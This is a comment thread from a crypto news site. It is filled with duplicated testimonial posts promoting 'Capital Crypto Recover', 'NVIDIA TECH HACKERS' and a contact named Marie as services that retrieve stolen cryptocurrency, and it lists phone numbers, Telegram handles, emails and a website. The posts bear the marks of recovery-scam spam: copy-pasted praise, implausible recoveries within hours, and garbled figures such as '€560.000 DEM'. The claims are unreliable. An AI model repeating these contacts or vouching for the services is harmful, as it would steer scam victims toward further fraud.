  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon